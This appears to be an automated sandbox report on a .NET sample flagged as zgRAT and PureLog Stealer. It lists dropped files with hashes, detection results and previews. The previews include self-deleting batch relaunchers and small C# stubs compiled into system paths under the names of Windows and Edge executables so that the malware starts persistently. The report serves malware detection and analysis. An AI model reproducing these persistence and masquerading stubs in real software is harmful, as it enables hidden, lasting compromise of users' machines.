Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@....................................K....... ............................................................................ ............... ..H............text...$.... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.........................\...M........................................0..........(.... ........8........E...........N...)...8%...(.... ....~p...{c...9....& ....8....(.... ....~p...{y...:....& ....8....(.... ....~p...{....9....& ....8y......0.......... ........8........E....1...............V...8,.......~....(E...~....(I... ....?.... ....8.......... ....~p...{m...:....& ....8....~....(=... .... .... ....s....~....(A....... ....~p...{....9Q...& ....8F...r...ps....z*~....:..

C:\ProgramData\dbg\containerReview.exe

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2006016
Entropy (8bit):	7.565400810273061
Encrypted:	false
SSDEEP:	24576:Ens6R8MzM9PKio0d/wAJqc47Z9CN1rgtq1DBukkM3vCRj8Joo4ytx605H3uG2nkZ:EaocGZcrgtq1NVkMfko4u6EL29qN
MD5:	F568E43BC473CD8CEB2553C58194DF61
SHA1:	14C0FFF25EDFD186DAB91EE6BCC94450C9BED84D
SHA-256:	C91375814E8A5BB71736CE61FA429BC7B98A2B7B2A254B9967C51F3FCCFACD52
SHA-512:	47CF66CE90FECD147077C72DC3F06DB2199B9BC96E887915D6B0D4BFEA7577D60A7345DA6E5BC59967D02528FBDF6C8BF86233261338F782B9185C890FBC400E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\ProgramData\dbg\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ProgramData\dbg\containerReview.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@....................................K....... ............................................................................ ............... ..H............text...$.... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.........................\...M........................................0..........(.... ........8........E...........N...)...8%...(.... ....~p...{c...9....& ....8....(.... ....~p...{y...:....& ....8....(.... ....~p...{....9....& ....8y......0.......... ........8........E....1...............V...8,.......~....(E...~....(I... ....?.... ....8.......... ....~p...{m...:....& ....8....~....(=... .... .... ....s....~....(A....... ....~p...{....9Q...& ....8F...r...ps....z*~....:..

C:\ProgramData\dbg\f71eea7c943fb4

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.784020017648331
Encrypted:	false
SSDEEP:	6:m2Iq9YR3fBDBf0JosJsoZs34L/yZNmXpAK8eHwzvRF:m69M5Dd0lzs34L0yphjwzvr
MD5:	3EAD95FD634626C32753A34629866057
SHA1:	3E5ABE269E18EF4BCBAC064D5C16E3C90DBD4AEA
SHA-256:	1CB6BC1DF5C79913CB8217FC2794522C1BB84F604B92A667A619943796CC95F1
SHA-512:	D98407622A008DC7004F9AFDFBB9F5BAA91CB2283590CD2992CE3976608C8531CAB73B017201B96699D5C2B54F5166329C3D66C484803BF0F99F7B0B23342302
Malicious:	false
Preview:	h1TKZ8GaDKGSynKtpAIIVIqUSvLuLeDTRIuC2X4Y5MNr7BagaCzMA03ZL82oxWOjHwBq3I0SFtMJ58XRUpUJo0TaOV04eQlj7nkKAumSLhGQnueMkkTIBF4QdkbiR6xzInLRYNRkCB8HtCxe0oU46dh2sTqZSEBOtRHAiNyWTtGAGxgbx7rmm33pFTiEh1R7AtYc4w5n07lMWhv5wPmVXYmzXc5PotzbcIAXYEgABEwoSqShhmSSO6kl

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates\d81cfa058c78b8

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	279
Entropy (8bit):	5.789804915950466
Encrypted:	false
SSDEEP:	6:ZWIIK5tOMcn1i4e51sLz68UKWczRGSwr0cghkktpNB8Wa1:ZRIocYsLDaU+rRghkk7b+
MD5:	631C1C297D8462129BBDE3EFF97D1F14
SHA1:	5B8A8E938394A95FC7792B19A3FB058E0B34A79C
SHA-256:	8ED6065E580E092841C3D57F8BF45BA9D80C487216301192FF19A06C9B743CC7
SHA-512:	3FBE75B22ED372A56E859637FC2FEF8DFB866019A0E90EB1E5A6C8D86CEFC193CDF0C81232E58B3EEE9098D48340DE1976D628FAA494C311AB3EE2B0F9839445
Malicious:	false
Preview:	DgHE3Hvc4O1d2o1mm1af0Un4wwwKjyH4MVW5msPifa1jxPFhXMBhgGas3MSHUl2GG7RgS5A4l19ZdDGgrPwXwkXF4nCZZIN4ivd08iPbMG5pGAPzFvZFyeTgjLlo3kfdnF1rkPiI9VLqos94YNTosIFDc7Rw7killcBAJhO0MRFcTn11MrQpQ1ufAyPn8wLZxjEMq8u08dbbCmuyFakPU2VurfAVSk1aFqptioKN7ZrxZTdXEahiL6F4OUfL8ZhYmAVW6AQbQXS4LiUXCmR1DTP

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates\mQBLhXIPAJ.exe

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2006016
Entropy (8bit):	7.565400810273061
Encrypted:	false
SSDEEP:	24576:Ens6R8MzM9PKio0d/wAJqc47Z9CN1rgtq1DBukkM3vCRj8Joo4ytx605H3uG2nkZ:EaocGZcrgtq1NVkMfko4u6EL29qN
MD5:	F568E43BC473CD8CEB2553C58194DF61
SHA1:	14C0FFF25EDFD186DAB91EE6BCC94450C9BED84D
SHA-256:	C91375814E8A5BB71736CE61FA429BC7B98A2B7B2A254B9967C51F3FCCFACD52
SHA-512:	47CF66CE90FECD147077C72DC3F06DB2199B9BC96E887915D6B0D4BFEA7577D60A7345DA6E5BC59967D02528FBDF6C8BF86233261338F782B9185C890FBC400E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@....................................K....... ............................................................................ ............... ..H............text...$.... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.........................\...M........................................0..........(.... ........8........E...........N...)...8%...(.... ....~p...{c...9....& ....8....(.... ....~p...{y...:....& ....8....(.... ....~p...{....9....& ....8y......0.......... ........8........E....1...............V...8,.......~....(E...~....(I... ....?.... ....8.......... ....~p...{m...:....& ....8....~....(=... .... .... ....s....~....(A....... ....~p...{....9Q...& ....8F...r...ps....z*~....:..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\containerReview.exe.log

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.350961817021757
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mZsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKu
MD5:	EBB3E33FCCEC5303477CB59FA0916A28
SHA1:	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89
SHA-256:	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
SHA-512:	663994B1F78D05972276CD30A28FE61B33902D71BF1DFE4A58EA8EEE753FBDE393213B5BA0C608B9064932F0360621AF4B4190976BE8C00824A6EA0D76334571
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\mQBLhXIPAJ.exe.log

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkrJHpHNpaHKlT4v1qHGIs0HKD:iqbYqGSI6oPtzHeqKktJtpaqZ4vwmj0K
MD5:	C2E0F17D6A14A9837FE55EE183305037
SHA1:	EB56F87DAE280A52D91E88872777FDEEB2E1DF76
SHA-256:	8D444C9F4CB992629221443E699471F7D71BA2F0FFFC1F9BEBBA9D2F18371D47
SHA-512:	F4C96FF497F0AF4756F6A65350B2F9CF3AE54CEF07E38FDF31AC653765F731256D2625E287C6AC3471A87297CC51EF4D37E857C7F51D4735681B20F0B376D855
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicK

C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.1931694791072
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEBdvsvKOZG1923fliwfoRH:HTg9uYDE8ZAwAh
MD5:	E4D9DB7B862AE06C57031608714A9D2F
SHA1:	9044E283A21C94F193EE6F6ECE8AF9F985DFF3B8
SHA-256:	65D13E31C04DAABE8AAE551947E1D06FE51BA38EBA5977699AE4CD2A54CBC17E
SHA-512:	CD87E41D35CFE22F2BA3E365FB66D6B5B3D68BF6AEB215EE8846BF87C95A0D186AC37E9ECDBDC02898535E15275B18885AFC7AEB00EB11073FD473B541E6C72B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\blockcomSession\mQBLhXIPAJ.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\2BGdjLelXV.bat"

C:\Users\user\AppData\Local\Temp\RES8539.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6cc, 10 symbols, created Mon Jan 13 13:15:49 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1924
Entropy (8bit):	4.6006675469885066
Encrypted:	false
SSDEEP:	48:/aLzta0uYD9PKPilmuulB+hnqXSfbNtmhn:Cn00uYRKPi2TkZzNtyn
MD5:	321DC5544F8AFB7F3BB31E27597989BD
SHA1:	D7FBCC15130D176F88523F434F622708AAA5DFFD
SHA-256:	8215FE1EFABF1CB4FEACB7DED98477EAA8D7BA7DCC527B04E4A46BA632B8CA79
SHA-512:	6B4279BC6F6826F58C22B6AAF59B2590573ECAB3F7B8942B94B1BAFFFC758CD753AC6DA4822E9B0DB773C573281A118EA7D1D26EB2A481A4E93775574ABBC70A
Malicious:	false
Preview:	L......g.............debug$S........T...................@..B.rsrc$01............................@..@.rsrc$02........8...................@..@........Z....c:\Program Files (x86)\Microsoft\Edge\Application\CSC4E919528C4A844BA8820AEF1C7C5AE5.TMP.....................q.QK.......N..........5.......C:\Users\user\AppData\Local\Temp\RES8539.tmp.-.<....................a..Microsoft (R) CVTRES.Z.=..cwd.C:\blockcomSession.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe........................ .......8.......................P.......................h.......................................................D...............................................D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...8.....I.n.t.e.r.n.a.l.N.a.m.

C:\Users\user\AppData\Local\Temp\RES87BA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6e8, 10 symbols, created Mon Jan 13 13:15:50 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	4.550900254610488
Encrypted:	false
SSDEEP:	24:HbZbW97OTUxmQmpHdpFwKmwN8luxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0++UZ:/Jp9wKPKluOulajfqXSfbNtmh5Z
MD5:	12FC4A71778B4D76ACD2E14F95323554
SHA1:	57A926FA6910CCB1C79E3D1F8112A9CCCA88B18E
SHA-256:	071FBF8013DB34B70BD419808DEE02676CF194CD2D2B73659AB00B99363A569B
SHA-512:	2C6D06645997C00DFFE0189C637793745D74BCB3831A7DF048E41BB7055E5803C326969E5C3E2540945692FB083D34E0D09BA5CC9368E24B25926110E92F5719
Malicious:	false
Preview:	L......g.............debug$S........8...................@..B.rsrc$01................d...........@..@.rsrc$02........p...x...............@..@........=....c:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP.....................r.av..t.y..............5.......C:\Users\user\AppData\Local\Temp\RES87BA.tmp.-.<....................a..Microsoft (R) CVTRES.Z.=..cwd.C:\blockcomSession.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe........................ .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.

C:\Users\user\AppData\Local\Temp\aQ1wx53V7n.bat

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	219
Entropy (8bit):	5.08257371103224
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DE1ID6r4sKOZG1923fn8/kh:HTg9uYDE350/q
MD5:	EFF161C6218937BDDFF7AAB80EEFBB42
SHA1:	CAE8983C75147D542DC78359CE0D3EF9D79333D7
SHA-256:	E07456EAC00391DE77DA9771DDE7FAC7C1422A1BCC7836881140D9E41ED1346A
SHA-512:	E007A86E974063C6188FC469EB35924DA098C768C718431D1510388DB2EFE75769ECBBAC99F8E24385C1B3857D21762CF227808D8A9CE71FA11D8F39F1CE2B9B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Users\All Users\dbg\containerReview.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\aQ1wx53V7n.bat"

C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.0.cs

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	389
Entropy (8bit):	5.016520310032085
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBL6FWaiFkD:JNVQIbSfhV7TiFkMSfhWA7FkD
MD5:	066983894FBB9214F01499462F5AE2A7
SHA1:	5027746611A46BED290E2FBE21EFBCE7F5847E5A
SHA-256:	1E5C801B9436DE20615C073BF3772DA10B68F4262CB675E9F9EF70E7C0137A37
SHA-512:	4B277B14FDB52EDA5C63E4F319E29D66DF861F8DE19BF1AA47878D288AD998958908D7D539F40CBFDA9A05A2DB4D200B0815FDD3BF538FE0B22BDEC8E5C06F19
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.cmdline

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.086047326415898
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8o923f/YUn:Hu7L//TRq79cQyJ
MD5:	3C0BADC3DAAD991E2E34E6FF69B04947
SHA1:	58806495CE13CF84374A2D2F3E73DD373B8C9904
SHA-256:	1509B8D134F0C0F0A9F7AFAC12E42071F6629F9515622E247C6C8AED7BE09B86
SHA-512:	A8E1D626DA6FB131A9A03E2B820DB6E69D38958469D1D4D53D4CECE5CB3FC92CE8E9BFD5D3BA45985060FF641BFB0250C35E4FF453A0584F00941C93071CA966
Malicious:	false
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.0.cs"

C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.out

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (326), with CRLF, CR line terminators
Category:	modified
Size (bytes):	747
Entropy (8bit):	5.25697441809899
Encrypted:	false
SSDEEP:	12:lI/u7L//TRq79cQyMKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:lI/un/Vq79tyMKax5DqBVKVrdFAMBJTH
MD5:	C395ACE0C523ADE603E26F439FB0999A
SHA1:	7BA022026B2E30296987A5237A904C62AD67C381
SHA-256:	FF1B416C44F44538A3B41579D6C07E18258A7FD08298E6BFBC88D4648BA5C88F
SHA-512:	DD95AD4B8803EBB7426545F973544DE3D262C62B7BE6EF2769852E66777463FE9457356D5D4EA3E3A57175BFA7172A14DBBEAB1961933821E9761FFBCD2F60B9
Malicious:	false
Preview:	.C:\blockcomSession> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.0.cs

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.0377442448891125
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBL6LzIfiFkMSf+eBL6FWaiFkD:JNVQIbSfhWLzIiFkMSfhWA7FkD
MD5:	5789E05818A6F95850DA7807889902FD
SHA1:	10CC8E32D2260E5533CB6086B6645442A567E601
SHA-256:	051C97BE0B64E5E8909865F9B3E759FF9A989A43FBAF283FB8FC1CD4DAD9993C
SHA-512:	38D97BA0E8272D1FF890B76A441DBE3FE63B62A7EBD9FAA1CE2F125A111B5DA7D1185A2C79DD6FE13DE10176280FC48885F4E8F7C1C989334BABDF336E788B59
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	5.154498425014157
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRf5oeTckKBzxsjGZxWE8o923fE4VBn:Hu7L//TRRzscQyn/
MD5:	0FE78B7C63FCED35143B43A2CE77F859
SHA1:	AB40C85C37D395C49F6A141090B6DD4F1953A9BE
SHA-256:	461F3171D54E76369E4E8838395B313233D5CBDD8487CCD3069954BE183BFBDE
SHA-512:	554EA5D54AA931EB92537F43EC748D5624CCEC3C84C751D44ABE919C9997B09F1805FBBBD8E2B0464561FB70F341ECB82117883CC70FD41B758D5FA22C84C3A6
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.0.cs"

C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.out

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (341), with CRLF, CR line terminators
Category:	modified
Size (bytes):	762
Entropy (8bit):	5.2584987604588695
Encrypted:	false
SSDEEP:	12:lI/u7L//TRRzscQynmKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:lI/un/VRzstynmKax5DqBVKVrdFAMBJj
MD5:	2864B51CAB8CBE245483AA440E810165
SHA1:	48E7380FFA40FE5D76B77E925C5D4AECD528E6C0
SHA-256:	AB0D9B81AEDAE585BA05AFD43F34B64E15B801BC5A81DDE3BEFCAA69E12A6B55
SHA-512:	1EE539C69889F5DE2D74EE6C33385C637973A199F73A98425DB879432D0AD0617A52244EE7C17DDC33424DA90C58DF27B7F4569B25400B8358115410B11017A4
Malicious:	false
Preview:	.C:\blockcomSession> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\rXoD4iCVCH

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688185
Encrypted:	false
SSDEEP:	3:dVwwt97E4DHn:daOH
MD5:	7339575A9A4751FDA40538F2321C479F
SHA1:	54919F84C7F97A8DF30EBF6FD2C0A766739F4A13
SHA-256:	8222C5C6EB4643EBA42A14077A4A82207FC4CD7E9D6ED3B19B17555BDDD5FB4B
SHA-512:	F77D7B8BB0BF2F1737986DCD1E6B5D29D39BB4D000701B7E101AEBBEF3A3A9900EE29133B7317935199AB3A6491927208FADFA16C9D7C889CE950B6CEBEE1449
Malicious:	false
Preview:	uKMYpMvKXaUsyfHXawa2NRqfb

C:\Users\user\AppData\Local\Temp\xpdzEAJnC2

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774724
Encrypted:	false
SSDEEP:	3:m8BycKO:nzt
MD5:	F3B9CCDC019368D3AB88FB3BD3D84CB0
SHA1:	AD09FE5B944926B30BDF40DB2D779BD77B739BB8
SHA-256:	129BBEC07BAF0C237D22A2B25E8D7FF3A8761F081050EC99FCC9C4B4D94DEAC0
SHA-512:	5DD383A367CBFC0BCBCBB79C047F3360C13B224916674A1D92C0E0DA67FA98EF0ED61713D176F5705AADBF10E4FEEA2B0CD55D54F3D9EA3C99C11AE0D5984D8C
Malicious:	false
Preview:	OnvFga5YCwEgvqLy4JwBXMYQ1

C:\Users\user\Desktop\GgZbKUMi.log

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Joe Sandbox View:	Filename: OneDriveStandaloneUpdater.exe, Detection: malicious, Browse Filename: 85D5ktqjpd.exe, Detection: malicious, Browse Filename: VIyu4dC9CU.exe, Detection: malicious, Browse Filename: top.exe, Detection: malicious, Browse Filename: DC86.exe, Detection: malicious, Browse Filename: WinPerfcommon.exe, Detection: malicious, Browse Filename: Udzp7lL5ns.exe, Detection: malicious, Browse Filename: loader.exe, Detection: malicious, Browse Filename: hz7DzW2Yop.exe, Detection: malicious, Browse Filename: 7aHY4r6vXR.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\HTJtRROP.log

Download File

Process:	C:\blockcomSession\mQBLhXIPAJ.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
